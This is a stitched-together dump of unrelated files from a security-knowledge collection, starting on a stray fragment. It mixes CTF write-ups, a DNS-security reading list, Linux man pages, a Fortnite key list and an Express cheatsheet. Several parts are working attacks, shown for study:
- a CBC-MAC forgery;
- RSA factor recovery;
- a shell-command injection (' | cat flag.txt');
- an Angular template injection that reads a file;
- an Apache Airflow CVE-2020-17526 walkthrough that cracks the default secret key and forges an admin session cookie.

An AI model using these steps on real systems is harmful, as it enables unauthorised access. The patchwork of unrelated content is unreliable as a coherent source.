www **Never logged in**
mysql **Never logged in**
```
|
sec-knowleage
|
# DNS安全相关论文
整理DNS安全相关研究方向的论文,以做备忘。
## DNS安全数据分析相关
> 1. [Vinayakumar, R.](https://vinayakumarr.github.io/)、Poornachandran, P. 和 Soman, KP(2018 年)。基于域名系统数据分析的网络威胁态势感知可扩展框架。在工程应用中的大数据(第 113-142 页)。斯普林格,新加坡。
> 2. [Vinayakumar, R.](https://vinayakumarr.github.io/)、Soman, KP、Poornachandran, P. 和 Pradeep Menon 深入探讨网络安全用例的机器学习。用于计算机和网络安全的机器学习:原理、算法和实践,CRC 出版社 [In Press]
> 3. [Vinayakumar, R.](https://vinayakumarr.github.io/) , Soman, KP, & Poornachandran, P. (2018)。使用深度学习方法大规模检测恶意域名。智能与模糊系统杂志,34(3),1355-1367。
> 4. [Vinayakumar, R.](https://vinayakumarr.github.io/)、Soman, KP、Poornachandran, P. 和 Sachin Kumar, S.(2018 年)。评估深度学习方法以大规模表征和分类 DGA。智能与模糊系统杂志,34(3),1265-1276。
> 5. [Vinayakumar R](https://vinayakumarr.github.io/)、Soman KP、Prabaharan Poornachandran、Vysakh S Mohan、Amara Dinesh,ScaleNet:基于 DNS、URL 和电子邮件数据分析的网络威胁态势感知的可扩展和混合框架。在网络安全和移动杂志上
> 6. Mohan, VS, [Vinayakumar, R.](https://vinayakumarr.github.io/) , Soman, KP, & Poornachandran, P.(2018 年 5 月)。欺骗网:用于识别不祥在线因素的句法模式。2018 年 IEEE 安全和隐私研讨会 (SPW)(第 258-263 页)。IEEE。
>
> AmritaDGA,https://vinayakumarr.github.io/AmritaDGA/
|
sec-knowleage
|
# Haggis (Crypto 100)
###ENG
[PL](#pl-version)
In the task we get [source code](haggis.py) using AES CBC.
The code is quite short and straightforward:
```python
pad = lambda m: m + bytes([16 - len(m) % 16] * (16 - len(m) % 16))
def haggis(m):
crypt0r = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
return crypt0r.encrypt(len(m).to_bytes(0x10, 'big') + pad(m))[-0x10:]
target = os.urandom(0x10)
print(binascii.hexlify(target).decode())
msg = binascii.unhexlify(input())
if msg.startswith(b'I solemnly swear that I am up to no good.\0') \
and haggis(msg) == target:
print(open('flag.txt', 'r').read().strip())
```
The server gets random 16 bytes and sends them to us.
Then we need to provide a message with a pre-defined prefix.
This message is concatenated with the length of the message and encrypted, and the last block of the this ciphertext has to match the random 16 bytes we were given.
We know that it's AES CBC, we know the key is all `0x0` and so is the `IV`.
We also know that the cipher is using PKCS7 padding scheme.
We start by filling the prefix until the end of 16 bytes AES block.
It's always easier to work with full blocks:
```python
msg_start = b'I solemnly swear that I am up to no good.\x00\x00\x00\x00\x00\x00\x00'
```
We will add one more block after this one.
Keeping this in mind we calculate the length of the full message and construct the length block, just as the server will do:
```python
len_prefix = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@'
```
This way we know exactly what the server is going to encrypt.
It's worth to understand how CBC mode works: each block before encryption is XORed with previous block ciphertext (and first block with IV).
This means that if we know the ciphertext of encrypted K blocks, we can encrypt additional blocks simply by passing the last block of K as IV.
We are going to leverage this here!
First we calculate the first K blocks (2 to be exact, the length block and the message we got in the task):
```python
encryptor = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
prefix_encrypted_block = encryptor.encrypt(len_prefix + msg_start)[-16:]
```
We need only the last block because this is what is going to be XORed with our additional payload block before encryption.
We should remember that there is PCKS padding here, so by adding a whole block of our choosing, the actual last ciphertext block will be encrypted padding!
So we actually need to make sure this encrypted padding block matches the given target bytes.
We know the padding bytes - they will all be `0x10`, but they will get xored with the ciphertext of the payload block we are preparing before encryption.
Let's call ciphertext of our payload block `CT_payload`, and the plaintext of this block as `payload`.
Let's look what exactly we need to do:
We want to get: `encrypt(CT_payload xor padding) = target` therefore by applying decryption we get:
`CT_payload xor padding = decrypt(target)`
and since xor twice by the same value removes itself:
`CT_payload = decrypt(target) xor padding`
Now let's look where we get the `CT_payload` from:
`CT_payload = encrypt(payload xor prefix_encrypted_block)`
and by applying decryption:
`decrypt(CT_payload) = payload xor prefix_encrypted_block`
and thus:
`payload = decrypt(CT_payload) xor prefix_encrypted_block`
And if we now combine the two we get:
`payload = decrypt(decrypt(target) xor padding) xor prefix_encrypted_block`
And this is how we can calculate the payload we need to send.
We implement this in python:
```python
def solve_for_target(target):
# enc(ct xor padding) = target
# ct xor padding = dec(target)
# ct = dec(target) xor padding
# ct = enc (pt xor enc_prefix)
# dec(ct) = pt xor enc_prefix
# pt = dec(ct) xor enc_prefix
target = binascii.unhexlify(target)
encryptor = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
data = encryptor.decrypt(target)[-16:] # ct xor padding
last_block = b''
expected_ct_bytes = b''
for i in range(len(data)):
expected_ct = (data[i] ^ 0x10) # ct
expected_ct_byte = expected_ct.to_bytes(1, 'big')
expected_ct_bytes += expected_ct_byte
encryptor = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
result_bytes = encryptor.decrypt(expected_ct_bytes) # dec(ct)
for i in range(len(result_bytes)):
pt = result_bytes[i] ^ prefix_encrypted_block[i] # dec(ct) xor enc_prefix
last_block += pt.to_bytes(1, 'big')
return binascii.hexlify(msg_start + last_block)
```
And by sending this to the server we get: `hxp{PLz_us3_7h3_Ri9h7_PRiM1TiV3z}`
###PL version
W zadaniu dostajemy [kod źródłowy](haggis.py) używający AESa CBC.
Kod jest dość krótki i zrozumiały:
```python
pad = lambda m: m + bytes([16 - len(m) % 16] * (16 - len(m) % 16))
def haggis(m):
crypt0r = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
return crypt0r.encrypt(len(m).to_bytes(0x10, 'big') + pad(m))[-0x10:]
target = os.urandom(0x10)
print(binascii.hexlify(target).decode())
msg = binascii.unhexlify(input())
if msg.startswith(b'I solemnly swear that I am up to no good.\0') \
and haggis(msg) == target:
print(open('flag.txt', 'r').read().strip())
```
Serwer losuje 16 bajtów i wysyła je do nas.
Następnie musimy odesłać wiadomość z zadanym prefixem.
Ta wiadomość jest sklejana z długością wiadomości i następnie szyfrowana, a ostatni block ciphertextu musi być równy wylosowanym 16 bajtom które dostaliśmy.
Wiemy że to AES CBC, wiemy że klucz to same `0x0` i tak samo `IV` to same `0x0`.
Wiemy też że jest tam padding PKCS7.
Zacznijmy od dopełnienia bloku z prefixem do 16 bajtów.
Zawsze wygodniej pracuje się na pełnych blokach:
```python
msg_start = b'I solemnly swear that I am up to no good.\x00\x00\x00\x00\x00\x00\x00'
```
Dodamy jeszcze jeden blok za tym prefixem.
Mając to na uwadze obliczamy długość pełnej wiadomości i tworzymy blok z długością tak samo jak zrobi to serwer:
```python
len_prefix = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@'
```
W ten sposób wiemy dokładnie co serwer będzie szyfrował.
Warto rozumieć jak działa tryb CBC: każdy blok przed szyfrowaniem jest XORowany z ciphertextem poprzedniego bloku (a pierwszy blok z IV).
To oznacza że jeśli znamy ciphertext zakodowanych K bloków, możemy zakodować dodatkowe bloku po prostu poprzez ustawienie jako IV ostatniego bloku znanego ciphertextu.
Wykorzystamy tutaj tą własność!
Najpierw obliczmy ciphtextex pierwszyh K bloków (dla ścisłości 2 bloków - bloku z długością wiadomości oraz z prefixem):
```python
encryptor = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
prefix_encrypted_block = encryptor.encrypt(len_prefix + msg_start)[-16:]
```
Potrzebujemy tylko ostatni blok ponieważ tylko on jest wykorzystywany w szyfrowaniu naszego przygotowywanego bloku poprzez XORowanie z nim.
Musimy pamiętać że mamy tutaj padding PKCS7 więc w jeśli dodamy pełny blok to ostatni blok szyfrogramu będzie zaszyfrowanym paddingiem!
Więc w rzeczywistości chcemy żeby to padding zakodował się do oczekiwanych wylosowanych 16 bajtów.
Wiemy ile wynoszą bajty paddingu - wszystkie będą `0x10`, ale są xorowane z ciphertextem naszego przygotowywanego boku.
Oznaczmy szyfrogram tego bloku jako `CT_payload` a jego wersje odszyfrowaną jako `payload`.
Popatrzmy co chcemy osiągnąć:
Chcemy dostać: `encrypt(CT_payload xor padding) = target` więc deszyfrując obustronnie:
`CT_payload xor padding = decrypt(target)`
a ponieważ xor dwa razy przez tą samą wartość się znosi:
`CT_payload = decrypt(target) xor padding`
Popatrzmy teraz skąd bierze się `CT_payload`:
`CT_payload = encrypt(payload xor prefix_encrypted_block)`
i deszyfrując obustronnie:
`decrypt(CT_payload) = payload xor prefix_encrypted_block`
więc:
`payload = decrypt(CT_payload) xor prefix_encrypted_block`
I jeśli teraz połączymy te dwa równania mamy:
`payload = decrypt(decrypt(target) xor padding) xor prefix_encrypted_block`
I w ten sposób uzyskaliśmy przepis na wyliczenie bajtów payloadu do wysłania.
Implementujemy to w pythonie:
```python
def solve_for_target(target):
# enc(ct xor padding) = target
# ct xor padding = dec(target)
# ct = dec(target) xor padding
# ct = enc (pt xor enc_prefix)
# dec(ct) = pt xor enc_prefix
# pt = dec(ct) xor enc_prefix
target = binascii.unhexlify(target)
encryptor = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
data = encryptor.decrypt(target)[-16:] # ct xor padding
last_block = b''
expected_ct_bytes = b''
for i in range(len(data)):
expected_ct = (data[i] ^ 0x10) # ct
expected_ct_byte = expected_ct.to_bytes(1, 'big')
expected_ct_bytes += expected_ct_byte
encryptor = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
result_bytes = encryptor.decrypt(expected_ct_bytes) # dec(ct)
for i in range(len(result_bytes)):
pt = result_bytes[i] ^ prefix_encrypted_block[i] # dec(ct) xor enc_prefix
last_block += pt.to_bytes(1, 'big')
return binascii.hexlify(msg_start + last_block)
```
I po wysłaniu na serwer dostajemy: `hxp{PLz_us3_7h3_Ri9h7_PRiM1TiV3z}`
|
sec-knowleage
|
# Misc
`赛后复现`
## hardstego
给出一个压缩包,里面有 hardstego.png
png 图片猜测可能有 lsb 隐写,用 Stegsolve 分离得到一个压缩包
解压得到 cute.jpg ,尝试多种 jpg 隐写方式无果,010 打开发现有未知数据流在文件末尾
手动分离一下是一模一样的图片,按照套路要么盲水印要么 xor
Stegsolve 中用 image combiner 得到 flag
---
# Crypto
`赛后复现`
## easyRSA
```py
from flag import flag
from Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
e = 65537
n = p*q
m = bytes_to_long(flag)
print n
print pow(m, e, n)
print p>>256<<256
# output
# 26406507468595611843852094067483173843988114465094045314324958205247973393878612589146897816881236818219902539975703710689353618174826904300589643161784341674436810639999244652231756242284615955258973430337702733454791782484002773967293198343866259490519754466626455660967042613249021854707331393440280088268816341057924652807723419166490363777181753297185283416885627445213950857480287818564281651822264024891956284486733856518809532470029519647769749231421957169481281821885757924521580543834665554242403238567286205389138437021157096962185096308108489101554724344868500500476691994206988217768341711716527866730487
# 22371088752722216457725632164373582195669473128756299754645443284929524768654545905154985577175225182544638209286885657892360668965805613727315024761409924679131145149936406239774150607378706790494820180586939668429812955766507811860718575149988809217701964019618239260041070894375952033566803105327100696642244951676616707205397327491933042019560545721027871057909242509336729865025061616686254481161431063503607378134616485979961926628954536592552923269161255759846497309277397441639921544384778106116567555705005440627393593876072210594939647990615797269482726733444406876986888296295032722008287447468255108089357
# 159945952275533485818121954231313618960321976049710904254772419907677971914439101482974923293074598678164025819370654132149566696084245679106109087142916286461708005676333840438629476722637189134626565206159794947442549588155962485884562239895738265024295739578695834796427810095412842888401159276765814718464
```
已知高位攻击,用 sage 脚本改下位数跑就可以了
```
n = 26406507468595611843852094067483173843988114465094045314324958205247973393878612589146897816881236818219902539975703710689353618174826904300589643161784341674436810639999244652231756242284615955258973430337702733454791782484002773967293198343866259490519754466626455660967042613249021854707331393440280088268816341057924652807723419166490363777181753297185283416885627445213950857480287818564281651822264024891956284486733856518809532470029519647769749231421957169481281821885757924521580543834665554242403238567286205389138437021157096962185096308108489101554724344868500500476691994206988217768341711716527866730487
p_fake = 159945952275533485818121954231313618960321976049710904254772419907677971914439101482974923293074598678164025819370654132149566696084245679106109087142916286461708005676333840438629476722637189134626565206159794947442549588155962485884562239895738265024295739578695834796427810095412842888401159276765814718464
pbits = 1024
kbits = 256
pbar = p_fake & (2^pbits-2^kbits)
print("upper %d bits (of %d bits) is given" % (pbits-kbits, pbits))
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.3
print(hex(int(x0 + pbar)))
```
得到 p=0xe3c545d18d3292c89e6075bdf276824fac4887651f2aa17c1aae5cf7c1638fe280a2f636b3eb5b549239e75519e217610fc59f7b8ffac8cab87a047efc8499b09121ff486cbf929ebb6880092b0a89d4901b13eabdaae047e2f9821b78bb98814c88e444a7a2db5e9f3789a5855791c29cbdd5debbed8eba0714d80cc1583e71
解密得 flag{f4f41143a6fc8f8f7365c6ccb5e3cb78}
|
sec-knowleage
|
uuto
===
将文件传送到远端的UUCP主机
## 补充说明
**uuto命令** 为script文件,它实际上会执行uucp,用来将文件传送到远端UUCP主机,并在完成工作后,以邮件通知远端主机上的用户。
### 语法
```shell
uuto [文件][目的]
```
### 例子
将文件传送到远程 UUCP 主机 localhost 的 tmp 目录,在命令提示符中直接输入如下命令:
```shell
uuto./testfile localhost/tmp # 将文件传送到远程UUCP 主机localhost的tmp目录
```
该命令通常没有输出。
|
sec-knowleage
|
# Pwn4
Pwn, 100 points
## Description:
A binary file was attached, in addition to an address and port.
## Solution:
Let's run the binary:
```console
root@kali:/media/sf_CTFs/tamu/Pwn4# nc pwn.tamuctf.com 4324
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
-al
Result of ls -al:
total 20
drwxr-xr-x 1 root root 4096 Feb 19 20:47 .
drwxr-xr-x 1 root root 4096 Mar 14 21:45 ..
-r--r--r-- 1 pwnflag pwnflag 23 Feb 19 17:28 flag.txt
-rwsr-xr-x 1 pwnflag pwnflag 7504 Feb 19 17:28 pwn4
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
```
This service accepts parameters to be passed on to `ls` and provides us with the output.
The most trivial experiment to perform is to pass it a pipe to another command:
```console
root@kali:/media/sf_CTFs/tamu/Pwn4# echo " | cat flag.txt" | nc pwn.tamuctf.com 4324
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
Result of ls | cat flag.txt:
gigem{5y573m_0v3rfl0w}
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
^C
```
The flag is easily outputted without a need to analyze the binary.
|
sec-knowleage
|
import struct
s = open("sop_bytecode", "rb").read()
assert len(s) % 8 == 0
pc = 0
def getbits(x, n):
r = x & ((1<<n)-1)
x >>= n
return r, x
def nice(sys):
if sys == 218:
return "set_tid_address"
if sys == 157:
return " prctl"#
if sys == 9:
return " mmap"
if sys == 0:
return " read"
if sys == 1:
return " write"
if sys == 13:
return " rt_sigaction" # Do some shit on SIGSYS
if sys == 104:
return " getgid" # Probably for SIGSYS?
if sys == 39:
return " getpid" # Same.
if sys == 110:
return " getppid" # Same.
if sys == 102:
return " getuid" # Same.
if sys == 107:
return " geteuid" # Same.
if sys == 108:
return " getegid" # Same.
if sys == 111:
return " getpgrp" # Same.
if sys == 186:
return " gettid" # Same.
if sys == 57:
return " fork" # Same.
assert False
def nice(sys):
if sys == 218:
return "set_tid_address"
if sys == 157:
return " prctl"#
if sys == 9:
return " mmap"
if sys == 0:
return " read"
if sys == 1:
return " write"
if sys == 13:
return " rt_sigaction" # Do some shit on SIGSYS
if sys == 104:
return " AND" # Probably for SIGSYS?
if sys == 39:
return " ADD" # Same.
if sys == 110:
return " SHL" # Same.
if sys == 102:
return " SHR" # Same.
if sys == 107:
return " XOR" # Same.
if sys == 108:
return " SUB" # Same.
if sys == 111:
return " MUL" # Same.
if sys == 186:
return " OR " # Same.
if sys == 57:
return " DIV" # Same.
assert False
dis = []
while pc < len(s):
op = struct.unpack("<Q", s[pc:pc+8])[0]
sys, op = getbits(op, 8)
args = []
for i in range(6):
t, op = getbits(op, 2)
if t == 0:
r, op = getbits(op, 4)
args.append("r%d" % r)
elif t == 1:
r, op = getbits(op, 4)
args.append("&r%d" % r)
elif t == 2:
n, op = getbits(op, 5)
n, op = getbits(op, n+1)
if n < 100:
args.append("%d" % n)
else:
args.append("0x%x" % n)
elif t == 3:
break
dis.append((pc, nice(sys), args))
pc += 8
dis2 = []
i = 0
while i < len(dis):
pc, sys, args = dis[i]
try:
pc1, sys1, args1 = dis[i+1]
except:
pass
if sys.strip() == "set_tid_address" and sys1.strip() == "prctl" and args1[0] == "40":
dis2.append((pc, "MOV", [("*"+args1[1]).replace("*&",""), args[0]]))
i += 2
continue
if sys.strip() == "prctl" and args[0] == "15" and sys1.strip() == "prctl" and args1[0] == "16":
dis2.append((pc, "STRCPY", [args1[1], args[1]]))
i += 2
continue
dis2.append((pc, sys, args))
i += 1
i = 0
while i < len(dis2):
pc, sys, args = dis2[i]
try:
pc1, sys1, args1 = dis2[i+1]
pc2, sys2, args2 = dis2[i+2]
pc3, sys3, args3 = dis2[i+3]
pc4, sys4, args4 = dis2[i+4]
pc5, sys5, args5 = dis2[i+5]
except:
pass
# 06648: MOV *0x217022, &r7
# 06664: MOV r0, r7
# 06680: MOV r1, r11
# 06696: ADD r0, r1, 0
# 06704: ADD r0, r1, 16
if (
sys == "MOV" and args[0] == "*0x217022" and
sys1 == "MOV" and args1[0] == "r0" and
sys2 == "MOV" and args2[0] == "r1" and
args3[0] == "r0" and args3[1] == "r1" and args3[2] == "0" and sys3 == sys4 and
args4[0] == "r0" and args4[1] == "r1" and args4[2] == "16"):
dst = ("*"+args[1]).replace("*&","")
print("%05d: %s = %s %s %s" % (pc, dst, args1[1], sys3.strip(), args2[1]))
i += 5
continue
print("%05d: %s %s" % (pc, sys, ", ".join(args)))
i += 1
|
sec-knowleage
|
# Translate (web 246p, 33 solved)
In the task we get pointed to a webpage which provides a simple translation service.
We know that the flag is in `./flag.txt`.
The service can translate between english and french and we can add new words to the dictionary.
We can also dump the dictionary, which shows that there is an interesting value there.
In one of the translations in the dump there is `{{userQuery}}`, but once we fetch this translation it actually gets changed server-side to our query!
This implies some kind of server-side template injection vulnerability.
We wrote a simple script to simplify fuzzing the templates:
```python
import re
import urllib
import requests
s = requests.session()
def add_exploit(command):
s.get("http://translate.ctfcompetition.com:1337/add?lang=fr&word=not_found&translated=" + urllib.quote_plus(command))
def check_output():
data = s.get("http://translate.ctfcompetition.com:1337/?query=dupa&lang=fr").text
pattern = re.findall('<!----><div ng-if="!i18n.word\(userQuery\)">\s*(.*?)\s*</div><!---->', data, re.DOTALL)
if len(pattern) == 1:
return pattern[0]
else:
return data
def main():
while True:
command = raw_input("> ")
add_exploit(command)
print(check_output())
```
It simply adds a new word, and then fetches the "translation".
So if we send `{{1+1}}` we get back `2`.
Fuzzing this a little shows us that this gets evaluated by Angular on the server side somehow.
So we need to inject angular code which will read the flag for us.
Fuzzing the side a bit more, shows that if we try to add a new word to some different language eg. `http://translate.ctfcompetition.com:1337/add?lang=z&word=document&translated=x` it gives error:
```
Error: ENOENT: no such file or directory, open './i18n/z.json'
at Object.fs.openSync (fs.js:646:18)
at Object.fs.readFileSync (fs.js:551:33)
at Object.load (/usr/local/chall/srcs/restricted_fs.js:9:20)
at app.get (/usr/local/chall/srcs/server.js:158:57)
at Layer.handle [as handle_request] (/usr/local/chall/node_modules/express/lib/router/layer.js:95:5)
at next (/usr/local/chall/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/usr/local/chall/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/usr/local/chall/node_modules/express/lib/router/layer.js:95:5)
at /usr/local/chall/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/usr/local/chall/node_modules/express/lib/router/index.js:335:12)
```
So we know there is some `i18n` module loaded, and we've seen it also in the page output `<div ng-if="!i18n.word\(userQuery\)">`.
We can send `{{i18n}}` and get back `{}`, which means this object is in scope!
We can also call `{{i18n.word('something')}}` to get back translation for given word.
We guessed this object has to load the dictionary somehow, so maybe it could read the flag for us.
So we checked what other methods this object has by sending: `<pre ng-repeat="(key,val) in this.i18n">{{key}} = {{val}}</pre>`
And from this we got only two functions available: `word` which we knew and `template`.
Calling `{{i18n.template('flag.txt')}}` gave back the flag: `CTF{Televersez_vos_exploits_dans_mon_nuagiciel}`
|
sec-knowleage
|
---
title: Fortnite
date: 2022-11-23 16:23:31.699229
background: bg-[#8d2fc9]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 26 default keyboard shortcuts found in Fortnite
---
Keyboard Shortcuts
------------------
### Main Controls
Shortcut | Action
---|---
`R` | Reload
`Q` | Switch between combat mode and build mode
`Space` | Jump
`Left Ctrl` | Crouch
`Left Shift` | Sprint
`=` | Auto run
`W` | Move forward
`S` | Move backwards
`A` | Move left
`D` | Move right
`M` | Toggle map
`Tab` | Toggle inventory
`E` | Use or interact with object
`F` | Select pickaxe
`1-5` | Select weapon slot 1-5
{.shortcuts}
### Building
Shortcut | Action
---|---
`R` | Rotate building piece
`Z` | Wall mode
`X` | Floor mode
`C` | Stair mode
`V` | Pyramid mode
`Y` | Trap mode
`F3` | Select trap
`H` | Upgrade building piece of repair damaged building piece
`G` | Edit building piece
{.shortcuts}
### Communication
Shortcut | Action
---|---
`Enter` | Chat
`B` | Emote
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Fortnite](https://fortnite.gamepedia.com/Controls) _(fortnite.gamepedia.com)_
|
sec-knowleage
|
# Apache Airflow 默认密钥导致的权限绕过(CVE-2020-17526)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Airflow是一款开源的,分布式任务调度框架。默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定`webserver.authenticate=True`来开启认证。
在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。
参考链接:
- <https://lists.apache.org/thread/rxn1y1f9fco3w983vk80ps6l32rzm6t0>
- <https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise>
## 漏洞环境
执行如下命令启动一个Apache Airflow 1.10.10服务器:
```bash
#Initialize the database
docker compose run airflow-init
#Start service
docker compose up -d
```
服务器启动后,访问`http://your-ip:8080`即可查看到登录页面。
## 漏洞利用
首先,我们访问登录页面,服务器会返回一个签名后的Cookie:
```
curl -v http://localhost:8080/admin/airflow/login
```

然后,使用[flask-unsign](https://github.com/Paradoxis/Flask-Unsign)这个工具来爆破签名时使用的`SECRET_KEY`:
```
flask-unsign -u -c [session from Cookie]
```

Bingo,成功爆破出Key是`temporary_key`。使用这个key生成一个新的session,其中伪造`user_id`为1:
```
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
```

在浏览器中使用这个新生成的session,可见已成功登录:

|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH SUM 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
sum \- 求校验和并统计文件块数目
.SH 概述
\fBsum\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
打印或检查 BSD(16位)校验和。
.PP
如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。
.TP
\fB\-r\fP
使用 BSD 求和算法(默认行为),使用 1K 文件块
.TP
\fB\-s\fP, \fB\-\-sysv\fP
使用 System V 求和算法,使用 512 字节文件块
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 Kayvan Aghaiepour 和 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/sum>
.br
或者在本地使用: info \(aq(coreutils) sum invocation\(aq
|
sec-knowleage
|
---
title: Express
date: 2023-02-26 15:23:31
background: bg-[#edc545]
tags:
- config
- format
categories:
- Programming
intro: |
A quick reference cheatsheet for Express, a flexible and streamlined web framework for Node.js
plugins:
- copyCode
---
Getting Started
---
### Hello World {.row-span-2}
- "Create project, add `package.json` configuration
```bash
$ mkdir myapp # create directory
$ cd myapp # enter the directory
$ npm init -y # Initialize a configuration
```
- Install dependencies
```bash
$ npm install express
```
- Entry file `index.js` add code:
```js
const express = require('express')
const app = express()
const port = 3000
app.get('/', (req, res) => {
res. send('Hello World!')
})
app. listen(port, () => {
console.log(`Listening port on ${port}`)
})
```
- Run the application using the following command
```bash
$ node index.js
```
{.marker-timeline}
### express -h {.row-span-2}
```bash
Usage: express [options] [dir]
Options:
-h, --help output usage information
--version output version number
-e, --ejs add ejs engine support
--hbs add hbs engine support
--pug add pug engine support
-H, --hogan add hogan.js engine support
--no-view No view engine generated
-v, --view <engine> add view <engine> support (ejs|hbs|hjs|jade|pug|twig|vash) (default jade)
-c, --css <engine> add stylesheet <engine> support (less|stylus|compass|sass) (default css)
--git add .gitignore
-f, --force force non-empty directories
```
{.wrap-text}
Create a `myapp` project
```bash
$ express --view=pug myapp
# run the application
$ DEBUG=myapp:*npm start
```
### express()
:-| :-
:-| :-
`express.json()` | [#](http://expressjs.com/en/4x/api.html#express.json)
`express.raw()` | [#](http://expressjs.com/en/4x/api.html#express.raw)
`express.Router()` | [#](http://expressjs.com/en/4x/api.html#express.router)
`express.static()` | [#](http://expressjs.com/en/4x/api.html#express.static)
`express.text()` | [#](http://expressjs.com/en/4x/api.html#express.text)
`express.urlencoded()` | [#](http://expressjs.com/en/4x/api.html#express.urlencoded)
### Router
:-| :-
:-| :-
`router.all()` | [#](http://expressjs.com/en/4x/api.html#router.all)
`router.METHOD()` | [#](http://expressjs.com/en/4x/api.html#router.METHOD)
`router.param()` | [#](http://expressjs.com/en/4x/api.html#router.param)
`router.route()` | [#](http://expressjs.com/en/4x/api.html#router.route)
`router.use()` | [#](http://expressjs.com/en/4x/api.html#router.use)
### Application
```js
var express = require('express')
var app = express()
console.dir(app.locals.title)
//=> 'My App'
console.dir(app.locals.email)
//=> 'me@myapp.com'
```
#### Attribute
:-| :-
:-| :-
`app.locals` | Local variables in the application [#](http://expressjs.com/en/4x/api.html#app.locals)
`app.mountpath` | Path pattern for mounting sub-apps [#](http://expressjs.com/en/4x/api.html#app.mountpath)
#### Events
:-| :-
:-| :-
`mount` | The child application is mounted on the parent application, and the event is triggered on the child application [#](http://expressjs.com/en/4x/api.html#app.onmount)
#### Method
:-| :-
:-| :-
`app.all()` | [#](http://expressjs.com/en/4x/api.html#app.all)
`app.delete()` | [#](http://expressjs.com/en/4x/api.html#app.delete.method)
`app.disable()` | [#](http://expressjs.com/en/4x/api.html#app.disable)
`app.disabled()` | [#](http://expressjs.com/en/4x/api.html#app.disabled)
`app.enable()` | [#](http://expressjs.com/en/4x/api.html#app.enable)
`app.enabled()` | [#](http://expressjs.com/en/4x/api.html#app.enabled)
`app.engine()` | [#](http://expressjs.com/en/4x/api.html#app.engine)
`app.get(name)` | [#](http://expressjs.com/en/4x/api.html#app.get)
`app.get(path, callback)` | [#](http://expressjs.com/en/4x/api.html#app.get.method)
`app.listen()` | [#](http://expressjs.com/en/4x/api.html#app.listen)
`app.METHOD()` | [#](http://expressjs.com/en/4x/api.html#app.METHOD)
`app.param()` | [#](http://expressjs.com/en/4x/api.html#app.param)
`app.path()` | [#](http://expressjs.com/en/4x/api.html#app.path)
`app.post()` | [#](http://expressjs.com/en/4x/api.html#app.post.method)
`app.put()` | [#](http://expressjs.com/en/4x/api.html#app.put.method)
`app.render()` | [#](http://expressjs.com/en/4x/api.html#app.render)
`app.route()` | [#](http://expressjs.com/en/4x/api.html#app.route)
`app.set()` | [#](http://expressjs.com/en/4x/api.html#app.set)
`app.use()` | [#](http://expressjs.com/en/4x/api.html#app.use)
### Request
#### Attribute
:-| :-
:-| :-
`req.app` | [#](http://expressjs.com/en/4x/api.html#req.app)
`req.baseUrl` | [#](http://expressjs.com/en/4x/api.html#req.baseUrl)
`req.body` | [#](http://expressjs.com/en/4x/api.html#req.body)
`req.cookies` | [#](http://expressjs.com/en/4x/api.html#req.cookies)
`req.fresh` | [#](http://expressjs.com/en/4x/api.html#req.fresh)
`req.hostname` | [#](http://expressjs.com/en/4x/api.html#req.hostname)
`req.ip` | [#](http://expressjs.com/en/4x/api.html#req.ip)
`req.ips` | [#](http://expressjs.com/en/4x/api.html#req.ips)
`req.method` | [#](http://expressjs.com/en/4x/api.html#req.method)
`req.originalUrl` | [#](http://expressjs.com/en/4x/api.html#req.originalUrl)
`req.params` | [#](http://expressjs.com/en/4x/api.html#req.params)
`req.path` | [#](http://expressjs.com/en/4x/api.html#req.path)
`req.protocol` | [#](http://expressjs.com/en/4x/api.html#req.protocol)
`req.query` | [#](http://expressjs.com/en/4x/api.html#req.query)
`req.route` | [#](http://expressjs.com/en/4x/api.html#req.route)
`req.secure` | [#](http://expressjs.com/en/4x/api.html#req.secure)
`req.signedCookies` | [#](http://expressjs.com/en/4x/api.html#req.signedCookies)
`req.stale` | [#](http://expressjs.com/en/4x/api.html#req.stale)
